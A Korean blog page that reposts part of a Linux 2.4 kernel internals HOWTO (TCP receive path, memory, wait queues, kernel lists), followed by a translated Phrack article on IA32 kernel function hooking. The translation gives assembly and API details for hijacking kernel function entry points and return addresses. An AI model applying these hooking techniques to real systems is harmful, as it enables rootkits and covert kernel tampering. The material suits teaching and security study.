                  |skb->dst->input -> ip_local_deliver // according to previous routing table check, destination is local machine
                     |ip_defrag // reassembles IP fragments
                        |NF_HOOK (ip_local_deliver_finish)
                           |ipprot->handler -> tcp_v4_rcv // according to ''tcp_protocol [include/net/protocol.c]''
 
     **** NOW WE KNOW THAT PACKET IS TCP ****
                           |tcp_v4_rcv   
                              |sk = __tcp_v4_lookup 
                              |tcp_v4_do_rcv
                                 |switch(sk->state) 

     *** Packet can be sent to the task which uses relative socket ***
                                 |case TCP_ESTABLISHED:
                                    |tcp_rcv_established
                                       |__skb_queue_tail // enqueue packet to socket
                                       |sk->data_ready -> sock_def_readable 
                                          |wake_up_interruptible
                                

     *** Packet has still to be handshaked by 3-way TCP handshake ***
                                 |case TCP_LISTEN:
                                    |tcp_v4_hnd_req
                                       |tcp_v4_search_req
                                       |tcp_check_req
                                          |syn_recv_sock -> tcp_v4_syn_recv_sock
                                       |__tcp_v4_lookup_established
                                 |tcp_rcv_state_process

                    *** 3-Way TCP Handshake ***
                                    |switch(sk->state)
                                    |case TCP_LISTEN: // We received SYN
                                       |conn_request -> tcp_v4_conn_request
                                          |tcp_v4_send_synack // Send SYN + ACK
                                             |tcp_v4_synq_add // set SYN state
                                    |case TCP_SYN_SENT: // we received SYN + ACK
                                       |tcp_rcv_synsent_state_process
                                          tcp_set_state(TCP_ESTABLISHED)
                                             |tcp_send_ack
                                                |tcp_transmit_skb
                                                   |queue_xmit -> ip_queue_xmit
                                                      |ip_queue_xmit2
                                                         |skb->dst->output
                                    |case TCP_SYN_RECV: // We received ACK
                                       |if (ACK)
                                          |tcp_set_state(TCP_ESTABLISHED)
                              

Functions can be found under:

  • net_rx_action [net/core/dev.c]
  • __skb_dequeue [include/linux/skbuff.h]
  • ip_rcv [net/ipv4/ip_input.c]
  • NF_HOOK -> nf_hook_slow [net/core/netfilter.c]
  • ip_rcv_finish [net/ipv4/ip_input.c]
  • ip_route_input [net/ipv4/route.c]
  • ip_local_deliver [net/ipv4/ip_input.c]
  • ip_defrag [net/ipv4/ip_fragment.c]
  • ip_local_deliver_finish [net/ipv4/ip_input.c]
  • tcp_v4_rcv [net/ipv4/tcp_ipv4.c]
  • __tcp_v4_lookup
  • tcp_v4_do_rcv
  • tcp_rcv_established [net/ipv4/tcp_input.c]
  • __skb_queue_tail [include/linux/skbuff.h]
  • sock_def_readable [net/core/sock.c]
  • wake_up_interruptible [include/linux/sched.h]
  • tcp_v4_hnd_req [net/ipv4/tcp_ipv4.c]
  • tcp_v4_search_req
  • tcp_check_req
  • tcp_v4_syn_recv_sock
  • __tcp_v4_lookup_established
  • tcp_rcv_state_process [net/ipv4/tcp_input.c]
  • tcp_v4_conn_request [net/ipv4/tcp_ipv4.c]
  • tcp_v4_send_synack
  • tcp_v4_synq_add
  • tcp_rcv_synsent_state_process [net/ipv4/tcp_input.c]
  • tcp_set_state [include/net/tcp.h]
  • tcp_send_ack [net/ipv4/tcp_output.c]

Description:

  • First we determine protocol type (IP, then TCP)
  • NF_HOOK (function) is a wrapper routine that first manages the network filter (for example firewall), then it calls ''function''.
  • After we manage 3-way TCP Handshake which consists of:

SERVER (LISTENING)                       CLIENT (CONNECTING)
                           SYN 
                   <-------------------
 
 
                        SYN + ACK
                   ------------------->

 
                           ACK 
                   <-------------------

                    3-Way TCP handshake

  • In the end we only have to launch "tcp_rcv_established [net/ipv4/tcp_input.c]" which gives the packet to the user socket and wakes it up.

9. Linux File System

TODO


10. Useful Tips

10.1 Stack and Heap

Overview

Here we view how "stack" and "heap" are allocated in memory

Memory allocation

FF..        |                 | <-- bottom of the stack
       /|\  |                 |   | 
 higher |   |                 |   |   stack
 values |   |                 |  \|/  growing
            |                 |
XX..        |                 | <-- top of the stack [Stack Pointer]
            |                 |
            |                 |
            |                 |
00..        |_________________| <-- end of stack [Stack Segment]
                 
                   Stack

Memory address values start from 00.. (which is also where Stack Segment begins) and they grow going toward FF.. value.

XX.. is the actual value of the Stack Pointer.

Stack is used by functions for:

  1. global variables
  2. local variables
  3. return address

For example, for a classical function:

 |int foo_function (parameter_1, parameter_2, ..., parameter_n) {
    |variable_1 declaration;
    |variable_2 declaration;
      ..
    |variable_n declaration;
   
    |// Body function
    |dynamic variable_1 declaration;
    |dynamic variable_2 declaration;
     ..
    |dynamic variable_n declaration;
   
    |// Code is inside Code Segment, not Data/Stack segment!
    
    |return (ret-type) value; // often it is inside some register, for i386 eax register is used.
 |}
we have

          |                       |
          | 1. parameter_1 pushed | \
    S     | 2. parameter_2 pushed |  | Before 
    T     | ...................   |  | the calling
    A     | n. parameter_n pushed | /
    C     | ** Return address **  | -- Calling
    K     | 1. local variable_1   | \ 
          | 2. local variable_2   |  | After
          | .................     |  | the calling
          | n. local variable_n   | /
          |                       | 
         ...                     ...   Free
         ...                     ...   stack
          |                       |
    H     | n. dynamic variable_n | \
    E     | ...................   |  | Allocated by
    A     | 2. dynamic variable_2 |  | malloc & kmalloc
    P     | 1. dynamic variable_1 | /
          |_______________________|
        
            Typical stack usage
 
Note: variables order can be different depending on hardware architecture.

10.2 Application vs Process

Base definition

We have to distinguish 2 concepts:

  • Application: that is the useful code we want to execute
  • Process: that is the IMAGE on memory of the application (it depends on memory strategy used, segmentation and/or Pagination).

Often Process is also called Task or Thread.

10.3 Locks

Overview

2 kind of locks:

  1. intraCPU
  2. interCPU

10.4 Copy_on_write

Copy_on_write is a mechanism used to reduce memory usage. It postpones memory allocation until the memory is really needed.

For example, when a task executes the "fork()" system call (to create another task), we still use the same memory pages as the parent, in read only mode. When a task WRITES into the page, it causes an exception and the page is copied and marked "rw" (read, write).

 
1-) Page X is shared between Task Parent and Task Child
 Task Parent
 |         | RO Access  ______
 |         |---------->|Page X|    
 |_________|           |______|
                          /|\
                           |
 Task Child                | 
 |         | RO Access     |  
 |         |----------------                
 |_________| 
 
 
2-) Write request
 Task Parent
 |         | RO Access  ______
 |         |---------->|Page X|    Trying to write
 |_________|           |______|
                          /|\
                           |
 Task Child                | 
 |         | RO Access     |  
 |         |----------------                
 |_________| 
 
 
3-) Final Configuration: Either Task Parent and Task Child have an independent copy of the Page, X and Y
 Task Parent
 |         | RW Access  ______
 |         |---------->|Page X|    
 |_________|           |______|
              
              
 Task Child
 |         | RW Access  ______
 |         |---------->|Page Y|    
 |_________|           |______|

11. 80386 specific details

11.1 Boot procedure

bbootsect.s [arch/i386/boot]
setup.S (+video.S) 
head.S (+misc.c) [arch/i386/boot/compressed]
start_kernel [init/main.c]

11.2 80386 (and more) Descriptors

Overview

Descriptors are data structure used by Intel microprocessor i386+ to virtualize memory.

Kind of descriptors

  • GDT (Global Descriptor Table)
  • LDT (Local Descriptor Table)
  • IDT (Interrupt Descriptor Table)

12. IRQ

12.1 Overview

IRQ is an asyncronous signal sent to microprocessor to advertise a requested work is completed

12.2 Interaction schema

                                 |<-->  IRQ(0) [Timer]
                                 |<-->  IRQ(1) [Device 1]
                                 | ..
                                 |<-->  IRQ(n) [Device n]
    _____________________________| 
     /|\      /|\          /|\
      |        |            |
     \|/      \|/          \|/
 
    Task(1)  Task(2) ..   Task(N)
              
             
             IRQ - Tasks Interaction Schema
  

What happens?

A typical O.S. uses many IRQ signals to interrupt normal process execution and does some housekeeping work. So:

  1. IRQ (i) occurs and Task(j) is interrupted
  2. IRQ(i)_handler is executed
  3. control backs to Task(j) interrupted

Under Linux, when an IRQ comes, first the IRQ wrapper routine (named "interrupt0x??") is called, then the "official" IRQ(i)_handler will be executed. This allows some duties like timeslice preemption.


13. Utility functions

13.1 list_entry [include/linux/list.h]

Definition:

#define list_entry(ptr, type, member) \
((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member)))

Meaning:

"list_entry" macro is used to retrieve a parent struct pointer, by using only one of internal struct pointer.

Example:

struct __wait_queue {
   unsigned int flags; 
   struct task_struct * task; 
   struct list_head task_list;
};
struct list_head { 
   struct list_head *next, *prev; 
};

// and with type definition:
typedef struct __wait_queue wait_queue_t;

// we'll have
wait_queue_t *out list_entry(tmp, wait_queue_t, task_list);

// where tmp point to list_head

So, in this case, by means of *tmp pointer [list_head] we retrieve an *out pointer [wait_queue_t].

 ____________ <---- *out [we calculate that]
|flags       |             /|\
|task *-->   |              |
|task_list   |<----    list_entry
|  prev * -->|    |         |
|  next * -->|    |         |
|____________|    ----- *tmp [we have this]
 

13.2 Sleep

Sleep code

Files:

  • kernel/sched.c
  • include/linux/sched.h
  • include/linux/wait.h
  • include/linux/list.h

Functions:

  • interruptible_sleep_on
  • interruptible_sleep_on_timeout
  • sleep_on
  • sleep_on_timeout

Called functions:

  • init_waitqueue_entry
  • __add_wait_queue
  • list_add
  • __list_add
  • __remove_wait_queue

InterCallings Analysis:

|sleep_on
   |init_waitqueue_entry  --
   |__add_wait_queue        |   enqueuing request to resource list
      |list_add              |
         |__list_add        -- 
   |schedule              ---     waiting for request to be executed
      |__remove_wait_queue --   
      |list_del              |   dequeuing request from resource list
         |__list_del        -- 
 

Description:

Under Linux each resource (ideally an object shared between many users and many processes), , has a queue to manage ALL tasks requesting it.

This queue is called "wait queue" and it consists of many items we'll call the"wait queue element":

***   wait queue structure [include/linux/wait.h]  ***


struct __wait_queue {
   unsigned int flags; 
   struct task_struct * task; 
   struct list_head task_list;
}
struct list_head { 
   struct list_head *next, *prev; 
};

Graphic working:

        ***  wait queue element  ***

                             /|\
                              |
       <--[prev *, flags, task *, next *]-->
 
                     


                 ***  wait queue list ***  
 
          /|\           /|\           /|\                /|\
           |             |             |                  |
--> <--[task1]--> <--[task2]--> <--[task3]--> .... <--[taskN]--> <--
|                                                                  |
|__________________________________________________________________|
          

           
              ***   wait queue head ***

       task1 <--[prev *, lock, next *]--> taskN
   
 

"wait queue head" point to first (with next *) and last (with prev *) elements of the "wait queue list".

When a new element has to be added, "__add_wait_queue" [include/linux/wait.h] is called, after which the generic routine "list_add" [include/linux/wait.h], will be executed:

***   function list_add [include/linux/list.h]  ***

// classic double link list insert
static __inline__ void __list_add (struct list_head * new,  \
                                   struct list_head * prev, \
                                   struct list_head * next) { 
   next->prev = new; 
   new->next = next; 
   new->prev = prev; 
   prev->next = new; 
}

To complete the description, we see also "__list_del" [include/linux/list.h] function called by "list_del" [include/linux/list.h] inside "remove_wait_queue" [include/linux/wait.h]:

***   function list_del [include/linux/list.h]  ***


// classic double link list delete
static __inline__ void __list_del (struct list_head * prev, struct list_head * next) { 
   next->prev = prev; 
   prev->next = next; 
}

Stack consideration

A typical list (or queue) is usually managed allocating it into the Heap (see Cap.10 for Heap and Stack definition and about where variables are allocated). Otherwise here, we statically allocate Wait Queue data in a local variable (Stack), then function is interrupted by scheduling, in the end, (returning from scheduling) we'll erase local variable.

  new task <----|          task1 <------|          task2 <------|
                |                       |                       |
                |                       |                       | 
|..........|    |       |..........|    |       |..........|    | 
|wait.flags|    |       |wait.flags|    |       |wait.flags|    |
|wait.task_|____|       |wait.task_|____|       |wait.task_|____|   
|wait.prev |-->         |wait.prev |-->         |wait.prev |-->
|wait.next |-->         |wait.next |-->         |wait.next |-->   
|..        |            |..        |            |..        |    
|schedule()|            |schedule()|            |schedule()|     
|..........|            |..........|            |..........|    
|__________|            |__________|            |__________|     
 
   Stack                   Stack                   Stack

14. Static variables

14.1 Overview

Linux is written in ''C'' language, and as every application has:

  1. Local variables
  2. Module variables (inside the source file and relative only to that module)
  3. Global/Static variables present in only 1 copy (the same for all modules)

When a Static variable is modified by a module, all other modules will see the new value.

Static variables under Linux are very important, cause they are the only kind to add new support to kernel: they typically are pointers to the head of a list of registered elements, which can be:

  • added
  • deleted
  • maybe modified

                           _______      _______      _______
Global variable  -------> |Item(1)| -> |Item(2)| -> |Item(3)|  ..
                          |_______|    |_______|    |_______|

14.2 Main variables

Current

                           ________________
Current ----------------> | Actual process |
                          |________________|

Current points to ''task_struct'' structure, which contains all data about a process like:

  • pid, name, state, counter, policy of scheduling
  • pointers to many data structures like: files, vfs, other processes, signals...

Current is not a real variable, it is

static inline struct task_struct * get_current(void) { 
   struct task_struct *current; 
   __asm__("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL)); 
   return current; 
}
#define current get_current()

Above lines just takes value of ''esp'' register (stack pointer) and get it available like a variable, from which we can point to our task_struct structure.

From ''current'' element we can access directly to any other process (ready, stopped or in any other state) kernel data structure, for example changing STATE (like a I/O driver does), PID, presence in ready list or blocked list, etc.

Registered filesystems

                       ______      _______      ______
file_systems  ------> | ext2 | -> | msdos | -> | ntfs |
 [fs/super.c]         |______|    |_______|    |______|

When you use command like ''modprobe some_fs'' you will add a new entry to file systems list, while removing it (by using ''rmmod'') will delete it.

Mounted filesystems

                        ______      _______      ______
mount_hash_table  ---->|   /  | -> | /usr  | -> | /var |
[fs/namespace.c]       |______|    |_______|    |______|

When you use ''mount'' command to add a fs, the new entry will be inserted in the list, while an ''umount'' command will delete the entry.

Registered Network Packet Type

                        ______      _______      ______ 
     ptype_all  ------>|  ip  | -> |  x25  | -> | ipv6 |
[net/core/dev.c]       |______|    |_______|    |______|

For example, if you add support for IPv6 (loading relative module) a new entry will be added in the list.

Registered Network Internet Protocol

                          ______      _______      _______ 
inet_protocol_base ----->| icmp | -> |  tcp  | -> |  udp  |
[net/ipv4/protocol.c]    |______|    |_______|    |_______|

Also others packet type have many internal protocols in each list (like IPv6).

                          ______      _______      _______ 
inet6_protos ----------->|icmpv6| -> | tcpv6 | -> | udpv6 |
[net/ipv6/protocol.c]    |______|    |_______|    |_______|

Registered Network Device

                          ______      _______      _______ 
dev_base --------------->|  lo  | -> |  eth0 | -> |  ppp0 |
[drivers/core/Space.c]   |______|    |_______|    |_______|

Registered Char Device

                          ______      _______      ________ 
chrdevs ---------------->|  lp  | -> | keyb  | -> | serial |
[fs/devices.c]           |______|    |_______|    |________|

''chrdevs'' is not a pointer to a real list, but it is a standard vector.

Registered Block Device

                          ______      ______      ________ 
bdev_hashtable --------->|  fd  | -> |  hd  | -> |  scsi  |
[fs/block_dev.c]         |______|    |______|    |________|

''bdev_hashtable'' is an hash vector.


15. Glossary


16. Links

Official Linux kernels and patches download site

Great documentation about Linux Kernel

Official Kernel Mailing list

Linux Documentation Project Guides


"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
  • Kprobes를 이용한 커널 디버깅 (0)2007/05/04
  • KernelAnalysis-HOWTO (0)2007/04/30
  • Linux x86 kernel function hooking emulation (0)2006/11/24
  • Linux on-the-fly kernel patching without LKM (0)2006/11/24
2007/04/30 01:16 2007/04/30 01:16
Posted by webdizen
Tags Analysis, Kernel
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2874

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2006/11/24 16:58

Linux x86 kernel function hooking emulation

************************************************************************                 제목:  발전된 IA32 함수 후킹(프랙 58호)                 번역: vangelis(http://www.wowhacker.org)                 * 대충 했으니 혹시라도 오역이나 오타 있으면 말씀해주시길 바랍니다. ************************************************************************                                                    ==Phrack Inc.==                  Volume 0x0b, Issue 0x3a, Phile #0x08 of 0x0e |=------------------------=[ 발전된 IA32 함수 후킹 ]=--------------------------=| |=---------------------------------------------------------------------------=| |=-------------------=[ mayhem  <mayhem@hert.org> ]=---------------------=| |=--------------------------=[ December 08th 2001 ]=-------------------------=| --[ 내용 1 - 도입    1.1 - 역사    1.2 - 새로운 요구사항들 2 - 후킹의 기본들    2.1 - 일반적인 테크닉들    2.2 - 잊어서는 안되는 것들 3 - 코드 설명 4 - 라이브러리 이용하기    4.1 - API    4.2 - 커널 심볼 분석    4.3 - hook_t 오브젝트 5 - 코드 테스트    5.1 - 모듈 로딩    5.2 - 놀아보자    5.3 - 코드 6 - 참고문헌 --[ 1 - 도입   남용, 로깅, 패치, 또는 심지어 디버깅 이것들은 후킹 문제에 대해 생각할 분명한 이유들이다. 우리는 어떻게 그것이 작동할 것인지 이해하려고 노력할 것이다. 여기서의 기본 환경은 리눅스 커널이다. 이 글은 커널 2.4.5에서 개발되었고, IA32가 실행되고 있는 리눅스 커널 2.4 시리즈의 일반적인 목적의 후킹 라이브러리에 대해서 다루고 있으며, 그것은 LKH(Linux Kernel Hooker)라고 불린다. ----[ 1.1 - 역사   함수 하이재킹 주제에 대한 참고문헌들 중의 하나가 1999년 11월에 발표되었으며, Silvio Cesare에 의해 쓰여졌다. 이 구현은 커널의 acct_process 함수로 접근하는 것을 필터링 하기 위해 특정 프로세스가 차지되는 것을 막으면서 후킹이 다른 코드로 jump하는 함수의 첫 바이트를 수정하는 것으로 구성되어 있기 때문에 아주 직선적이다.    ----[ 1.2 - 새로운 요구 사항들 그 이후 몇 가지 작업이 이루어졌다: - 리다이렉션의 실용적인 사용은 종종(항상?) 그것들의 번호와 사이즈에 상관없이 원래의 인자에 접근할 필요가 있다.(예를 들어 만약 우리가 IP 패킷을 수정하거나 포워딩 하기를 원한다면) - 우리는 요구가 있는 즉시 후크를 비활성화시킬 필요가 있는데, 그것은 런타임 커널 설정을 위해 완벽하다. 우리는 원래의 함수를 호출하기를 원할 수도 있거나(모니터링 프로그램에 의해 사용되는 분리된 후킹), 또는 커널 오브젝트에 대해서는 아닐 수 있다.(ACL(Access Control Lists)을 관리하기 위한 보안 패치에 의해 사용되는 공격적인 후킹) - 어떤 경우에 우리는 첫 번째 호출 이후 예를 들어 통계(매초 또는 매분마다 한번씩 후킹할 수 있는)를 내기 위해 후크를 파괴하기를 원할 수 있다. --[ 2 - 후킹 기본 ----[ 2.1 일반적인 테크닉 물론 핵심적인 후킹 코드는 어셈블리어에서 이루어져야 하지만 후킹 랩핑 코드는 C로 이루어진다. LKH의 높은 수준의 인터페이스는 API 섹션에서 기술된다. 먼저 몇 가지 후킹 기본에 대해서 이해해보자. 다음이 기본적인 후킹이다. - 다른 하나의 코드('후킹 코드'라고 불림)를 지시하기 위해 함수 코드의 시작을 변경한다. 이것은 우리가 원하는 것을 하기 위한 아주 오래되고 효율적인 방법이다. 다른 방법은 함수를 참고하는 코드 세그먼트의 모든 호출을 패치하는 것이다. 두 번째 방법은 몇 가지 장점들을 가지고 있지만(아주 은밀하다) 그 구현은 약간 복잡하고(메모리 영역은 파싱을 블록하고, 그런 다음 코드 스캐닝을 블록한다), 그리고 아주 빠르지 않다. - 런타임 때 후크된 함수 실행이 끝났을 때 통제권을 잡기 위해 함수의 리턴 어드레스를 변경한다. - 후크 코드는 두 가지 다른 부분을 가지고 있어야 하는데, 첫 번째 것은 함수 앞에서 실행되어야 하며(인자에 접근하기 위한 스택을 준비, callback 실행, 이전 함수 코드를 복구), 두 번째는 함수 뒤에 실행되어야 한다.(필요하다면 후크를 다시 리셋 한다.) - 디폴트 인자(후크 행위를 정의하는 것)들은 후크를 만들 동안(함수 코드를 수정하기 전) 설정되어야 한다. 함수 의존적인 인자들은 지금 확정되어야 한다. - callback을 추가한다. 각 callback은 원래의 함수 인자에 접근할 수 있거나 심지어 수정도 할 수 있다. - 인자들을 활성화, 비활성화, 변경하고, 우리가 원할 때 callback을 추가하거나 제거한다. ----[ 2.2 - 잊지 말아야 할 것들   -> 프레임 포인터 없는 함수:   중요한 기능은 -fomit-frame-pointer gcc 옵션으로 컴파일된 함수들을 후크하기 위한 능력이다. 이 기능은 %ebp로부터 자유롭기 위해 후킹 코드를 요구한다. 이것이 왜 우리가 단지 %esp가 스택 오퍼레이션을 위해 사용할 것인가의 이유이다. 우리는 후크 코드에 있는 %ebp 관련 offset을 수정하기 위해 몇 부분을 업데이트해야만 한다.(몇 부분에 몇 바이트씩) 이에 관해 더 자세한 것은 lkh.c의 khook_create()를 보아라. 후크 코드는 또한 위치와 독립되어 있다. 이것이 왜 그렇게 많은 후크 코드에 offset이 런타임시 고정되어 있는가의 이유이다.(우리가 커널에 있기 때문에 offset은 후크를 만드는 동안 고정되어야 하지만, 아주 유사한 테크닉이 런타임 프로세스에 함수 후킹 동안 사용될 수 있다.)   -> 재귀 우리는 callback으로부터 원래의 함수를 호출할 수 있어야 하며, 그래서 원래의 코드는 어떤 callback의 실행 이전에 저장되어야 한다.    -> 리턴 값 우리가 callback을 가지고 있던 아니던, 원래의 함수가 호출되던 아니던 %eax에 정확한 값을 리턴해야 한다. 마지막으로 실행된 callback의 리턴값은 만약 원래의 함수가 호출되지 않을 경우 리턴된다. 만약 어떤 callback이나 원래의 함수도 호출되지 않는다면 리턴값은 통제할 수 없다. -> POST callback 만약 원래의 함수 뒤에 callback을 실행할 경우 함수 인자들에 접근할 수 없다. 그것이 왜 나쁜 생각인가의 이유이다. 하지만, 그것을 하는 테크닉이 있다.        - 후크를 aggressive로 설정   - PRE callback을 호출   - 자신의 인자로 callback으로부터 원래 함수를 호출   - POST callback을 호출 --[ 3 - 코드 설명     먼저 후크를 설치한다.     A - 후크 코드 영역을 가리키고 있는 간접적인 jump로 하이재킹된 루틴의 처음 7바이트를 덮어쓴다. %eax에 입력된 offset은 후크 코드의 절대 주소이며, 그래서 우리가 hijack_me() 함수를 호출할 때마다, 후크 코드는 통제될 것이다.                하이재킹 전:         0x80485ec <hijack_me>:          mov    0x4(%esp,1),%eax         0x80485f0 <hijack_me+4>:        push   %eax         0x80485f1 <hijack_me+5>:        push   $0x8048e00         0x80485f6 <hijack_me+10>:       call   0x80484f0 <printf>         0x80485fb <hijack_me+15>:       add    $0x8,%esp         하이재킹 후:         0x80485ec <hijack_me>:          mov    $0x804a323,%eax         0x80485f1 <hijack_me+5>:        jmp    *%eax         0x80485f3 <hijack_me+7>:        movl   (%eax,%ecx,1),%es         0x80485f6 <hijack_me+10>:       call   0x80484f0 <printf>         0x80485fb <hijack_me+15>:       add    $0x8,%esp                  jmp 다음에 드러난 3개의 명령은 어떤 것도 의미하지 않는다. 왜냐하면 gdb는 우리의 후크에 의해   농락 당한 것이기 때문이다.                 B - 후크된 함수의 원래 바이트를 리셋, 만약 우리가 어떤 것을 파괴하지 않고 원래의 함수를 호출하길 원한다면 그것이 필요하다.            pusha            movl        $0x00, %esi                     (1)            movl        $0x00, %edi                     (2)            push        %ds            pop         %es            cld            xor         %ecx, %ecx            movb        $0x07, %cl            rep movsl                   두 개의 NULL offset은 후크를 만들 동안 실제로 변경되었다.(그들의 값이 후크된 함수의 offset에 의존하기 때문에 우리는 런타임시 후크 코드를 패치해야 한다.) (1)은 원래 함수의 첫번째 저장된 7 바이트를 포함하고 있는 버퍼의 offset에 고정되어 있다. (2)는 원래의 함수 어드레스로 고정되어 있다. 만약 x86 어셈블리어를 잘 알고 있다면 당신은 이 명령들이 %ds:%esi로부터 %es:%edi로 %ecx 바이트를 복사할 것이라는 것을 알아야 한다. 이에 대한 것은 [2]를 참고해라.    C - 인수들이 우리의 callback을 읽고/쓰기 권한을 갖고 callback을 실행하도록 스택을 초기화한다. 우리는 첫 번째 원래 파라미터 주소를 %eax에 이동시키고, 그런 다음 그것을 push 한다.            leal        8(%esp), %eax            push        %eax            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop            nop; nop; nop; nop; nop             빈 슬롯은 NOP 명령(opcode 0x90)으로 가득 차 있다는 것을 주목해라. 이것은 어떤 오퍼레이션도 없다는 것을 의미한다. 어떤 슬롯이 khook_add_entry 함수를 사용해 가득 차 있다면 5 바이트가 사용된다.         - 호출 opcode (opcode 0xE8)         - callback offset (4 bytes relative address) 우리는 최대 8개의 callback을 설정하도록 선택했다. 삽입된 각각의 callback은 하나의 인자로 호출된다.(%eax가 push 된 값은 스택을 다시 배치하면서 원래의 함수 파라미터의 주소를 포함하고 있다.)     D - 스택 리셋            add $0x04, %esp             우리는 이제 (C)에서 push된 원래 함수의 인자 주소를 제거한다. 그런 식으로 %esp는 그것의 이전 값(C 단계로 들어가기 이전의 것)으로 리셋된다. 이 순간에 스택은 A단계에서 덮어쓰였기 때문에 원래 함수의 스택 프레임을 포함하고 있지는 않다.               E - 스택에 원래 함수의 리턴 어드레스를 변경한다. 인텔 프로세스에서는 함수의 리턴 어드레스는 스택에 저장된다.(이것은 보안상으로는 좋은 생각은 아니다.) 이 변경은 원래의 함수 실행 이후 우리가 원하는 곳(hook-code로)으로 리턴하게 해준다. 그런 다음 우리는 원래의 함수를 호출한다. 리턴시 후크 코드는 통제권을 재획득한다. 그것을 조심스럽게 살펴보자. -> 먼저 우리는 실제 %eip를 구하고, 그것을 %esi에 저장한다.(마지막 라벨은 E5 단계에서 쉽게 확인할 수 있는 몇몇 코드를 가리킨다) 이 트릭은 항상 위치와 독립된 코드에서 사용된다.         1.  jmp         end             begin:             pop         %esi                             -> 그런 다음 우리는 4(%esp)에 재배치하면서 이전 리턴 어드레스를 만회하고, 그것을 %eax에 저장한다.         2.  movl        4(%esp), %eax         -> 우리는 후크 코드의 끝에 4 바이트 offset으로 저장된 리턴 어드레스를 사용한다.(H 단계에서 NULL 포인터를 보라) 그래서 우리는 후킹 프로세스의 끝에 올바른 곳으로 리턴할 수 있다.         3.  movl        %eax, 20(%esi)                   -> 우리는 원래 함수의 리턴 어드레스를 변경하고, 그래서 'call begin' 명령 바로 다음에 리턴할 수 있다.         4.  movl        %esi, 4(%esp)             movl        $0x00, %eax         -> 우리는 원래 함수를 호출한다. 'end' 라벨이 1단계에서 사용되고, 'begin' 라벨은 "jmp end"(여전히 1단계에 있음) 바로 다음의 코드를 가리킨다. 원래의 함수는 'call begin' 명령 바로 다음에 리턴한다. 왜냐하면 우리가 그것의 리턴 어드레스를 변경했기 때문이다.         5.  jmp         *%eax             end:             call        begin      F - 후킹 코드로 돌아간다. 우리는 원래 함수의 코드에 7 바이트를 다시 설정한다. 이 바이트는 그 함수를 호출하기 전에 원래의 값으로 리셋 되었다. 그래서 우리는 A 단계에서처럼 다시 그 함수를 후킹할 필요가 있다. 이 단계는 만약 후크가 영원하지 않고 단발적이라면 NOP 명령에 의해 대체된다. 그래서 우리의 악의적인 간접적 jump(A 단계)의 7 바이트는 다시 복사되지 않는다. 이 단계는 같은 copy 매커니즘(rep movs* 명령을 사용)을 사용하기 때문에 B 단계와 아주 가깝다. 코드에서 NULL offset은 후킹 과정동안 고정되어야 한다.                   - 첫 번째 것(출발지 버퍼)은 악의적인 바이트 버퍼에 의해 대체되었다.                     - 두 번째 것(목적지 버퍼)은 원래 함수의 엔트리 포인터 어드레스에 의해 대체되었다.             movl        $0x00, %esi             movl        $0x00, %edi             push        %ds             pop         %es             cld             xor         %ecx, %ecx             movb        $0x07, %cl             rep movsb                       G - E2 단계에서 저장된 원래 리턴 어드레스를 사용하고, 원래의 호출 함수로 돌아간다. NULL offset(* 표시 부분)은 원래의 함수 리턴 어드레스와 더불어 E2 단계에서 고정되어야 한다. %ecx 값은 스택에 push되고, 그래서 다음 ret 명령은 마치 그것이 스택에 저장된 %eip 레지스터인 것처럼 그것을 사용할 것이다. 이것은 정확한 원래의 장소로 리턴 한다.             movl        $0x00, %ecx        *             pushl       %ecx             ret --[ 4 - 라이브러리 사용하기 ----[ 4.1 - API LKH API는 사용하기에 아주 쉽다 :    hook_t        *khook_create(int addr, int mask); 어드레스 'addr'에 후크를 생성. 디폴트 타입(HOOK_PERMANENT or HOOK_SINGLESHOT), 디폴트 상태(HOOK_ENABLED or HOOK_DISABLED), 그리고 디폴트 모드(HOOK_AGGRESSIVE or HOOK_DISCRETE)를 준다. 타입, 상태, 그리고 모드는 'mask' 인자에서 OR'd이다.    void khook_destroy(hook_t *h); 후크 자원을 비활성화, 파괴, 그리고 자유롭게 함         int khook_add_entry(hook_t *h, char *routine, int range);         'range' rank에 있는 후크에 callback을 추가. 만약 주어진 rank가 유효하지 않다면 -1을 리턴하고, 다른 경우에 0을 리턴 int khook_remove_entry(hook_t *h, int range); 슬롯 'range'에 callback put을 제거하고, 주어진 rank가 유효하지 않을 경우 -1을 리턴하고, 다른 경우 0을 리턴한다.         void khook_purge(hook_t *h);         이 후크에 있는 모든 callback을 제거 int khook_set_type(hook_t *h, char type); 후크 'h' 타입을 변경한다. 이 타입은 HOOK_PERMANENT(후크코드는 후크된 함수가 호출될 때마다 실행된다.) 또는 HOOK_SINGLESHOT(후크코드는 단지 1 하이재크에만 실행되고, 그런 다음 후크는 깨끗하게 제거된다.)      int khook_set_state(hook_t *h, char state); 후크 'h'용 state를 변경. state는 HOOK_ENABLED(후크는 활성화) 또는 HOOK_DISABLED(후크는 비활성화)가 될 수 있다. int khook_set_mode(hook_t *h, char mode); 후크 'h'용 모드를 변경. 모드는 HOOK_AGGRESSIVE(후크는 하이재크된 함수를 호출하지 않는다) 또는 HOOK_DISCRETE(후크는 callback 루틴을 실행한 이후 하이재크된 함수를 호출한다)가 될 수 있다. 후크 코드의 몇 부분은 만약 후크가 공격적이라면(E 및 H 단계) nop화 된다.(no operation 명령에 의해 덮어 쓰임) int khook_set_attr(hook_t *h, int mask); 독특한 함수 호출을 통해 모드, state, 그리고/또는 타입을 변경한다. 이 함수는 성공할 경우 0을 리턴하고, 또는 만약 지정된 mask가 양립되지 않은 옵션을 포함하고 있을 경우 -1을 리턴한다.         우리가 원할 때마다 사용된 후크의 어떤 state, 타입, 그리고 모드라도 추가하거나 제거할 수 있다는 것을 기억하자. ----[ 4.2 - 커널 심볼 분석 심볼 분석 함수가 export된 함수값에 접근하는 것을 허용하도록 LKH에 추가되었다. int ksym_lookup(char *name); 만약 심볼이 결정되지 않은 경우 NULL을 리턴한다는 것을 주목하자. 이 lookup은 커널의 __ksymtab 섹션에 포함된 심볼들을 결정할 수 있다. 이 심볼들의 목록은 'ksyms -a'을 실행하면 인쇄된다. bash-2.03# ksyms -a | wc -l    1136 bash-2.03# wc -l /boot/System.map   14647 